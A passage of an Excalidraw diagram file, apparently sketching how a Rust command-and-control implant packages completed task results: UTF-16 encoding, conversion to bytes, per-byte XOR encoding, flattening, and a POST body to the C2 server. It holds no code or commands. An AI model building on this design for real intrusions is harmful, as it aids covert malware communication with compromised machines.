    "content": "{\n  \"type\": \"excalidraw\",\n  \"version\": 2,\n  \"source\": \"https://excalidraw.com\",\n  \"elements\": [\n    {\n      \"id\": \"Sz3dKTQvRY7HxYDeWNekh\",\n      \"type\": \"arrow\",\n      \"x\": 2027.8794172167454,\n      \"y\": 301.14605219925386,\n      \"width\": 412.75163364982336,\n      \"height\": 102.65339548935737,\n      \"angle\": 0,\n      \"strokeColor\": \"#2f9e44\",\n      \"backgroundColor\": \"#b2f2bb\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1H\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1366316258,\n      \"version\": 104,\n      \"versionNonce\": 1548041045,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          204.86343289243723,\n          -101.3991352297158\n        ],\n        [\n          412.75163364982336,\n          1.254260259641569\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"kdfuRu4s8bik_ez2pULmk\",\n        \"focus\": -0.9069016611370817,\n        \"gap\": 5.000016153219721\n      },\n      \"endBinding\": {\n        \"elementId\": \"8fIX6pH4--tzFyoHLTgpQ\",\n        \"focus\": 0.7873472271142619,\n        \"gap\": 5.000031138182339\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false,\n      \"fixedSegments\": null,\n      \"startIsSpecial\": null,\n      \"endIsSpecial\": null\n    },\n    {\n      \"id\": \"zh7Jlgb1ymz0nMJii3nyx\",\n      \"type\": \"arrow\",\n      \"x\": 2024.782091588982,\n      \"y\": 381.1594177756191,\n      \"width\": 422.1159962933152,\n      \"height\": 111.50231443984876,\n      \"angle\": 0,\n      \"strokeColor\": \"#2f9e44\",\n      \"backgroundColor\": \"#b2f2bb\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1I\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1462583522,\n      \"version\": 91,\n      \"versionNonce\": 1648267387,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          203.53606296690896,\n          106.19269327899809\n        ],\n        [\n          422.1159962933152,\n          -5.309621160850668\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"kdfuRu4s8bik_ez2pULmk\",\n        \"focus\": 0.9390579223449314,\n        \"gap\": 3.6006149698220486\n      },\n      \"endBinding\": {\n        \"elementId\": \"8fIX6pH4--tzFyoHLTgpQ\",\n        \"focus\": -0.8628817007911275,\n        \"gap\": 2.0450184719900752\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false\n    },\n    {\n      \"id\": \"VA40uiPs2lasb2JEjEvkE\",\n      \"type\": \"rectangle\",\n      \"x\": 449.60003662109375,\n      \"y\": 216,\n      \"width\": 195.20001220703125,\n      \"height\": 208.0000305175781,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1J\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 1379002584,\n      \"version\": 202,\n      \"versionNonce\": 1393363125,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"yteNaZd4r-GjMYr3w2kNt\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"5B-Fo2B-D2BpTxVAv6HOO\",\n      \"type\": \"text\",\n      \"x\": 460,\n      \"y\": 240,\n      \"width\": 149.8541717529297,\n      \"height\": 25,\n      \"angle\": 0,\n      \"strokeColor\": \"#e03131\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1K\",\n      \"roundness\": null,\n      \"seed\": 1221525208,\n      \"version\": 52,\n      \"versionNonce\": 1991035163,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"Completed task\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"Completed task\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"Pt77bgVBr-F3is5WowNg4\",\n      \"type\": \"text\",\n      \"x\": 463.60003662109375,\n      \"y\": 282,\n      \"width\": 134.8541717529297,\n      \"height\": 125,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1L\",\n      \"roundness\": null,\n      \"seed\": 1737734360,\n      \"version\": 83,\n      \"versionNonce\": 775170581,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"{ \\n    ID, \\n    Command, \\n    Metadata \\n}\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"{ \\n    ID, \\n    Command, \\n    Metadata \\n}\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"k5zYcOQoyDiAjOB_Sp8R4\",\n      \"type\": \"rectangle\",\n      \"x\": 687.1999206542969,\n      \"y\": 290.39996337890625,\n      \"width\": 195.20001220703125,\n      \"height\": 64.00003051757815,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1M\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 279179432,\n      \"version\": 353,\n      \"versionNonce\": 504032699,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"FsxkCTZ6Hy83ZEqX3nqg_\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"aBUMf7T5Wd18HTqWlTq49\",\n      \"type\": \"text\",\n      \"x\": 698.3999328613281,\n      \"y\": 314.39996337890625,\n      \"width\": 167.2916717529297,\n      \"height\": 25,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1N\",\n      \"roundness\": null,\n      \"seed\": 1529846696,\n      \"version\": 268,\n      \"versionNonce\": 1320165237,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"yteNaZd4r-GjMYr3w2kNt\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"UTF-16 Encoding\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"UTF-16 Encoding\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"AwfI5Ls_8AiXcyb7mn6pG\",\n      \"type\": \"rectangle\",\n      \"x\": 916.7999572753906,\n      \"y\": 284.8000030517578,\n      \"width\": 195.20001220703125,\n      \"height\": 74.40005493164061,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1O\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 931660968,\n      \"version\": 445,\n      \"versionNonce\": 1266384475,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"MaHQEUqaK4McQGByg4842\",\n      \"type\": \"text\",\n      \"x\": 927.9999694824219,\n      \"y\": 298.3999786376953,\n      \"width\": 144.1666717529297,\n      \"height\": 50,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1P\",\n      \"roundness\": null,\n      \"seed\": 879833000,\n      \"version\": 407,\n      \"versionNonce\": 1522952405,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"FsxkCTZ6Hy83ZEqX3nqg_\",\n          \"type\": \"arrow\"\n        },\n        {\n          \"id\": \"cmmkjy96VuKl3Qp6OhWee\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"Streamed into \\nVec<Vec<u16>>\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"Streamed into \\nVec<Vec<u16>>\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"1B6bCN3e-zij7fTOa75Sj\",\n      \"type\": \"rectangle\",\n      \"x\": 919.2001647949219,\n      \"y\": 403.5999298095703,\n      \"width\": 195.20001220703125,\n      \"height\": 97.60006713867189,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1Q\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 2078685912,\n      \"version\": 562,\n      \"versionNonce\": 1775303419,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"cmmkjy96VuKl3Qp6OhWee\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"Kg1aJBBQHNPkf14XSzi71\",\n      \"type\": \"text\",\n      \"x\": 930.4001770019531,\n      \"y\": 417.1999053955078,\n      \"width\": 160.7916717529297,\n      \"height\": 75,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1R\",\n      \"roundness\": null,\n      \"seed\": 101261272,\n      \"version\": 596,\n      \"versionNonce\": 336365109,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"Zo1y163vbdjw_ljijLnb4\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"Each completed \\ntask encoded as\\nbytes (u8)\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"Each completed \\ntask encoded as\\nbytes (u8)\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"yteNaZd4r-GjMYr3w2kNt\",\n      \"type\": \"arrow\",\n      \"x\": 644.8000793457031,\n      \"y\": 324.7999572753906,\n      \"width\": 40.79998779296875,\n      \"height\": 0,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1S\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1626620328,\n      \"version\": 40,\n      \"versionNonce\": 1703797659,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          40.79998779296875,\n          0\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"VA40uiPs2lasb2JEjEvkE\",\n        \"focus\": 0.046153281849599416,\n        \"gap\": 1\n      },\n      \"endBinding\": {\n        \"elementId\": \"aBUMf7T5Wd18HTqWlTq49\",\n        \"focus\": 0.16800048828124892,\n        \"gap\": 12.79986572265625\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false\n    },\n    {\n      \"id\": \"FsxkCTZ6Hy83ZEqX3nqg_\",\n      \"type\": \"arrow\",\n      \"x\": 884.800048828125,\n      \"y\": 323.1999816894531,\n      \"width\": 29.60003662109375,\n      \"height\": 0,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1T\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1388352424,\n      \"version\": 22,\n      \"versionNonce\": 1835530133,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          29.60003662109375,\n          0\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"k5zYcOQoyDiAjOB_Sp8R4\",\n        \"focus\": 0.025000083446462432,\n        \"gap\": 2.400115966796875\n      },\n      \"endBinding\": {\n        \"elementId\": \"MaHQEUqaK4McQGByg4842\",\n        \"focus\": 0.007999877929687444,\n        \"gap\": 13.599884033203125\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false\n    },\n    {\n      \"id\": \"cmmkjy96VuKl3Qp6OhWee\",\n      \"type\": \"arrow\",\n      \"x\": 1014.3341259832899,\n      \"y\": 359.1999816894532,\n      \"width\": 0.7305946363883322,\n      \"height\": 41.59997558593744,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1U\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1211376296,\n      \"version\": 53,\n      \"versionNonce\": 1994700859,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          0.7305946363883322,\n          41.59997558593744\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"MaHQEUqaK4McQGByg4842\",\n        \"focus\": -0.18781090042906848,\n        \"gap\": 10.800003051757812\n      },\n      \"endBinding\": {\n        \"elementId\": \"1B6bCN3e-zij7fTOa75Sj\",\n        \"focus\": -0.008451151455300888,\n        \"gap\": 2.7999725341796875\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false\n    },\n    {\n      \"id\": \"AjeWpdFWHnaKUrt5Q52QV\",\n      \"type\": \"text\",\n      \"x\": 705.6000366210938,\n      \"y\": 191.99996948242188,\n      \"width\": 402.7708435058594,\n      \"height\": 75,\n      \"angle\": 0,\n      \"strokeColor\": \"#1971c2\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1V\",\n      \"roundness\": null,\n      \"seed\": 1409624488,\n      \"version\": 165,\n      \"versionNonce\": 1628323061,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"UTF-16 encoding done to preserve\\nwide strings for transport when reverted\\nto bytes.\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"UTF-16 encoding done to preserve\\nwide strings for transport when reverted\\nto bytes.\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"n3kLd9IW8_Pzc6sJwm9ct\",\n      \"type\": \"rectangle\",\n      \"x\": 922.4000549316406,\n      \"y\": 533.1999053955078,\n      \"width\": 195.20001220703125,\n      \"height\": 74.40005493164061,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1W\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 98350248,\n      \"version\": 505,\n      \"versionNonce\": 733477083,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"Zo1y163vbdjw_ljijLnb4\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"VAb2gDMUFM3yJYInHCu-9\",\n      \"type\": \"text\",\n      \"x\": 933.6000671386719,\n      \"y\": 546.7998809814453,\n      \"width\": 157.3125,\n      \"height\": 50,\n      \"angle\": 0,\n      \"strokeColor\": \"#e03131\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1X\",\n      \"roundness\": null,\n      \"seed\": 883941288,\n      \"version\": 499,\n      \"versionNonce\": 109368917,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"Zo1y163vbdjw_ljijLnb4\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"Each byte XOR \\nencoded in place\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"Each byte XOR \\nencoded in place\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"Zo1y163vbdjw_ljijLnb4\",\n      \"type\": \"arrow\",\n      \"x\": 1012.0000610351562,\n      \"y\": 502.39996337890625,\n      \"width\": 0.79998779296875,\n      \"height\": 28.970529011541316,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1Y\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 187964632,\n      \"version\": 29,\n      \"versionNonce\": 832185723,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          0.79998779296875,\n          28.970529011541316\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"Kg1aJBBQHNPkf14XSzi71\",\n        \"focus\": 0.00023367415117407024,\n        \"gap\": 10.200057983398438\n      },\n      \"endBinding\": {\n        \"elementId\": \"n3kLd9IW8_Pzc6sJwm9ct\",\n        \"focus\": -0.06207472736527731,\n        \"gap\": 1.8294130050602462\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false\n    },\n    {\n      \"id\": \"snm6xczijuzYQQ4GW72SA\",\n      \"type\": \"rectangle\",\n      \"x\": 885.8654156624303,\n      \"y\": 383.8142621137925,\n      \"width\": 270.7912868428497,\n      \"height\": 244.24318103859645,\n      \"angle\": 0,\n      \"strokeColor\": \"#f08c00\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1Z\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 1049541080,\n      \"version\": 61,\n      \"versionNonce\": 1755399093,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"pv1SPlNwBtcT9YTylyOrF\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"R5E7VSRkGePjkdrYOEk7_\",\n      \"type\": \"rectangle\",\n      \"x\": 871.7063358795003,\n      \"y\": 669.6496218626273,\n      \"width\": 299.10951392420543,\n      \"height\": 104.42277454838401,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1a\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 1920741032,\n      \"version\": 170,\n      \"versionNonce\": 1607319067,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"qVfb2A8gAjHk3kiCvBxNh\",\n      \"type\": \"text\",\n      \"x\": 886.0865964276978,\n      \"y\": 686.4634784682348,\n      \"width\": 277.4375,\n      \"height\": 75,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1b\",\n      \"roundness\": null,\n      \"seed\": 438009768,\n      \"version\": 172,\n      \"versionNonce\": 461964565,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"pv1SPlNwBtcT9YTylyOrF\",\n          \"type\": \"arrow\"\n        },\n        {\n          \"id\": \"QIbZK4QfkGV5c1HImUv0e\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"Produces a Vec<Vec<u8>>\\nwhich gets flattened into a \\nsingle stream (Vec<u8>)\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"Produces a Vec<Vec<u8>>\\nwhich gets flattened into a \\nsingle stream (Vec<u8>)\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"pv1SPlNwBtcT9YTylyOrF\",\n      \"type\": \"arrow\",\n      \"x\": 1015.0665123154454,\n      \"y\": 628.9423687599478,\n      \"width\": 0.8849256075591256,\n      \"height\": 39.82225997962428,\n      \"angle\": 0,\n      \"strokeColor\": \"#f08c00\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1c\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1508125608,\n      \"version\": 37,\n      \"versionNonce\": 21316283,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"points\": [\n        [\n          0,\n          0\n        ],\n        [\n          0.8849256075591256,\n          39.82225997962428\n        ]\n      ],\n      \"lastCommittedPoint\": null,\n      \"startBinding\": {\n        \"elementId\": \"snm6xczijuzYQQ4GW72SA\",\n        \"focus\": 0.06464427632465553,\n        \"gap\": 1\n      },\n      \"endBinding\": {\n        \"elementId\": \"qVfb2A8gAjHk3kiCvBxNh\",\n        \"focus\": -0.054655485102515944,\n        \"gap\": 17.698849728662708\n      },\n      \"startArrowhead\": null,\n      \"endArrowhead\": \"arrow\",\n      \"elbowed\": false\n    },\n    {\n      \"id\": \"L3Kj0G5tlFPUmEXa2Di6A\",\n      \"type\": \"rectangle\",\n      \"x\": 677.6480882421212,\n      \"y\": 689.860960120282,\n      \"width\": 145.64336799776856,\n      \"height\": 69.30965167842876,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1d\",\n      \"roundness\": {\n        \"type\": 3\n      },\n      \"seed\": 1548247256,\n      \"version\": 558,\n      \"versionNonce\": 313629301,\n      \"isDeleted\": false,\n      \"boundElements\": [],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false\n    },\n    {\n      \"id\": \"x1wFIvRp3jjah-aGGEMep\",\n      \"type\": \"text\",\n      \"x\": 693.2727284869478,\n      \"y\": 703.2416502830847,\n      \"width\": 120.6875,\n      \"height\": 50,\n      \"angle\": 0,\n      \"strokeColor\": \"#e03131\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1e\",\n      \"roundness\": null,\n      \"seed\": 590775768,\n      \"version\": 432,\n      \"versionNonce\": 1587753819,\n      \"isDeleted\": false,\n      \"boundElements\": [\n        {\n          \"id\": \"QIbZK4QfkGV5c1HImUv0e\",\n          \"type\": \"arrow\"\n        }\n      ],\n      \"updated\": 1758737734794,\n      \"link\": null,\n      \"locked\": false,\n      \"text\": \"POST body \\nto C2\",\n      \"fontSize\": 20,\n      \"fontFamily\": 5,\n      \"textAlign\": \"left\",\n      \"verticalAlign\": \"top\",\n      \"containerId\": null,\n      \"originalText\": \"POST body \\nto C2\",\n      \"autoResize\": true,\n      \"lineHeight\": 1.25\n    },\n    {\n      \"id\": \"QIbZK4QfkGV5c1HImUv0e\",\n      \"type\": \"arrow\",\n      \"x\": 871.7063358795003,\n      \"y\": 723.6308941096856,\n      \"width\": 45.131881140475,\n      \"height\": 0.8849931230552102,\n      \"angle\": 0,\n      \"strokeColor\": \"#1e1e1e\",\n      \"backgroundColor\": \"transparent\",\n      \"fillStyle\": \"solid\",\n      \"strokeWidth\": 2,\n      \"strokeStyle\": \"solid\",\n      \"roughness\": 1,\n      \"opacity\": 100,\n      \"groupIds\": [],\n      \"frameId\": null,\n      \"index\": \"b1f\",\n      \"roundness\": {\n        \"type\": 2\n      },\n      \"seed\": 1667917224,\n      \"version\": 37,\n      \"versionNonce\": 920683477,\n      